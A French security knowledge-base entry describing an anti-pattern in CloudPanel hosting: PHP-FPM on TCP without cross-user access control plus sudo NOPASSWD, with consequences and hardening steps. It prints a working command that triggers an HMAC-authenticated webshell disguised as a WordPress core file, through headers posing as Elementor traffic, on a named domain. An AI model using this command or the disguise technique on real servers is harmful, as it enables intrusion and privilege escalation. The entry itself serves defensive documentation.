Explorer
KNOW-ANT-019

Anti-Pattern : PHP-FPM FastCGI TCP sans contrôle d'accès et sudo NOPASSWD

Domaine
cybersecu
Type
anti-pattern
Priorité
P2

Parent : [[INDEX-CYBERSECU]]

Anti-Pattern : PHP-FPM FastCGI TCP sans contrôle d'accès et sudo NOPASSWD

Description

Exposer PHP-FPM sur un port TCP (127.0.0.1:8787) sans contrôle d'accès inter-utilisateur dans un environnement multi-tenant (CloudPanel), combiné avec un utilisateur disposant de sudo NOPASSWD. Cela permet à n'importe quel utilisateur du serveur d'exécuter du code PHP en tant que n'importe quel autre utilisateur, et d'escalader vers root via sudo sans mot de passe.

Exemple réel - Archive Ygg

CloudPanel v2.5.2
├── CVE-2024-44765 : Modification des configs vhost nginx
├── FastCGI sur 127.0.0.1:8787 : Pas de contrôle d'accès inter-utilisateur
├── Utilisateur clp : sudo NOPASSWD
└── Exploitation : Depuis le compte ygg, exécution de code PHP en tant que rakaxa

Commande exploit :

# Depuis le compte ygg, exécuter du code en tant que rakaxa
# via FastCGI cross-user
CMD="id"
CMD_B64=$(echo -n "$CMD" | base64)
SECRET=$(cat .wp_shell_secret)
HMAC=$(echo -n "$CMD_B64" | openssl dgst -sha256 -hmac "$SECRET" | awk '{print $2}')

curl -sk https://rakaxa.net/wp-includes/class-wp-cache-validator.php \
  -H "X-Elementor-Nonce: $CMD_B64" \
  -H "X-Elementor-Cache: $HMAC"
  
# uid=1004(rakaxa) gid=1005(rakaxa) groups=1005(rakaxa)

Conséquences

  • Escalade de privilèges : De ygg à rakaxa à root
  • Vol de données : Accès aux bases de données des autres sites
  • Compromission totale : Tous les sites hébergés sur le serveur
  • RCE : Exécution de code arbitraire en tant que n'importe quel utilisateur

Quand c'est acceptable

JAMAIS en production multi-tenant. Acceptable uniquement en développement local avec un seul utilisateur.

Solution

  • PHP-FPM sur sockets UNIX (pas TCP) avec un pool par utilisateur
  • chroot activé pour chaque pool
  • open_basedir configuré pour chaque site
  • disable_functions restreint
  • AppArmor/SELinux pour isoler PHP-FPM
  • sudo NOPASSWD supprimé pour TOUS les utilisateurs
  • CloudPanel patché (CVE-2024-44765)

Voir KNOW-PAT-077 — CloudPanel v2.5.2 FastCGI cross-user RCE.

Références